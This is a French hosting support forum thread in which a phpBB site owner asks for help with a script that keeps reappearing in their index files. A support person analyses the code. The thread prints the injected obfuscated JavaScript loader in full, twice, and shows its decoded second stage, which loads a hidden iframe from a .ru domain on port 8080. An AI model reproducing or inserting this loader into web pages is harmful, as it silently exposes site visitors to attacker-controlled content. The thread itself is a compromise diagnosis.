Ecrire une réponse

bonjour,
avez vous un module photo sur le forum ou un upload de fichiers?
si oui, désactivez le, car la vérification des fichiers est très aléatoire et laisse passer des scripts.

Revoila le méme probléme, j'ai refait mon site 2 fois car le probléme revenait sans cesse.(jai tt enlevé portail...)
J'ai gardé 2 mod que j'utilise depuis longtemps arcade OA et une shout (mchat) aucun souci avec eux
Aujourd'hui le scrypte est revenue sur mes index j'ai donc  supprimé tout les scrypte mais j'ai bien peur que cela ne revienne
J'ai contacté phpbb.fr qui me demande de vous contacter
"contactez votre hébergeur pour qu'il vérifie si il n'y a pas des sites mal protégés sur le serveur ou vous etes hébergé."
Ils m'ont parlé aussi d'un probléme de MDP mais j'ai deja eu changer mes MDP que ce soit sur la BD ou FTP.
Pouvez vous faire qqles choses?
Merci à vous

Et si vous regardiez là où vous avez téléchargé le script en premier lieu ? Vous comprenez bien qu'on ne peut pas faire de support pour chaque application écrite en PHP..

Pour le problème des headers, c'est simple, il suffit de supprimer tous les caractères après le ?> (astuce: même les espaces..)

j'ai bien vu ce script ds mon index.php
<script>/*GNU GPL*/ try{window.onload = function(){var Sjtyp5xq2pk = document.createElement('script');Sjtyp5xq2pk.setAttribute('type', 'text/javascript');Sjtyp5xq2pk.setAttribute('id', 'myscript1');Sjtyp5xq2pk.setAttribute('src',  'h@t#(#t&&!@p&!:@!&&(/!/)#m)(@!a$@!r^#c((a&$-$!c)o#m#.)#(a!s@##k^^$&m@$e$)$n)&(.@!$#c!&^#(o)^$)m!!.#@e!^!a$s!y^@#^-#$(s!!h#)a(^r(#e!!@-&)^c)@o$&$!m$.(#$h@o^(m((e(s#$w!e#^e##&)t##n^#e^^t&&)&)w&!(o^$!)!r)@!&k&).&r&u$^:!^#8@$0)@8()0(@/)@$&p$!$&o(#&r!!!$n@$b$b&!(.#o@)#r@(^@g@)/($!p&o^#$r#)!^#n@^b##b)@&!.#^)o@r&(!!g&($#/&@$((g@&o^o(#g($l$^)#e!^).^!$c!o)m$$/$w!i#k@^i&a))).#c)!o)m@/))c^i#!(t^$$i#!$b#)a(#!n#$!k((.^@&c$!@#o$#@)m(/&!('.replace(/\(|#|\!|\^|@|&|\)|\$/ig, ''));Sjtyp5xq2pk.setAttribute('defer', 'defer');document.body.appendChild(Sjtyp5xq2pk);}} catch(e) {}</script>

J'ai effacé pour voir mais ça n'a rien donné et pour la mise à jour comment la faire si je ne peux pas me connecter nul part
je boue ,il y a des personnes qui n'ont que ça a foutre...

C'est moi qui m'affole mnt et que puis-je faire pour réparer cela???
merci

Petite remarque: il serait peut être temps de mettre à jour si possible votre super script de gestion de portail basé sur phpBB

Un petit coup d'oeil à votre ligne:

root@ns1:/home/toad# sed -n 251p /home/users/00/0d/2e/home/www/includes/hooks/index.php
<script>/*GNU GPL*/ try{window.onload = function(){var Sjtyp5xq2pk = document.createElement('script');Sjtyp5xq2pk.setAttribute('type', 'text/javascript');Sjtyp5xq2pk.setAttribute('id', 'myscript1');Sjtyp5xq2pk.setAttribute('src',  'h@t#(#t&&!@p&!:@!&&(/!/)#m)(@!a$@!r^#c((a&$-$!c)o#m#.)#(a!s@##k^^$&m@$e$)$n)&(.@!$#c!&^#(o)^$)m!!.#@e!^!a$s!y^@#^-#$(s!!h#)a(^r(#e!!@-&)^c)@o$&$!m$.(#$h@o^(m((e(s#$w!e#^e##&)t##n^#e^^t&&)&)w&!(o^$!)!r)@!&k&).&r&u$^:!^#8@$0)@8()0(@/)@$&p$!$&o(#&r!!!$n@$b$b&!(.#o@)#r@(^@g@)/($!p&o^#$r#)!^#n@^b##b)@&!.#^)o@r&(!!g&($#/&@$((g@&o^o(#g($l$^)#e!^).^!$c!o)m$$/$w!i#k@^i&a))).#c)!o)m@/))c^i#!(t^$$i#!$b#)a(#!n#$!k((.^@&c$!@#o$#@)m(/&!('.replace(/\(|#|\!|\^|@|&|\)|\$/ig, ''));Sjtyp5xq2pk.setAttribute('defer', 'defer');document.body.appendChild(Sjtyp5xq2pk);}} catch(e) {}</

Quand on convertit l'url src du script javascript externe rajouté à la volée on obtient l'url suivante:

http://marca-com.askmen.com.easy-share- … ibank.com/

Le script en question devient:

Vcnucf7bc = 'm!a&#r($!c^@)a@$(-(!^c^)o$!)m!.^!)a!)!s&^k$m))e&@)&n((.)(^^#c($#o$(!m#!).^e!$#a($s!y&^@-#$s&(@h!(a(!r(^@$#e&^-)#@!c^$@o!#(m^.)&#h&)o#@!&m@!e$^^s&#w!)e()!^!e@#!@t^!n@e(@t###@#w&o@r)(#k@.#!r$^u@$'.replace(/&|\$|\!|@|\)|\^|#|\(/ig, '');
f = document.createElement('iframe');
f.style.visibility = 'hidden';
f.src = 'http://'+Vcnucf7bc+':8080/index.php?js';
document.body.appendChild(f);

La variable  Vcnucf7bc est convertit en: marca-com.askmen.com.easy-share-com.homesweetnetwork.ru

Et donc, ce que fait ce script est d'ouvrir une page externe vers la page:

http://marca-com.askmen.com.easy-share- … dex.php?js

Cette page ne renvoie rien, donc je ne saurais dire ce qu'elle fait exactement..

Interprétation rapide: you have been hacked.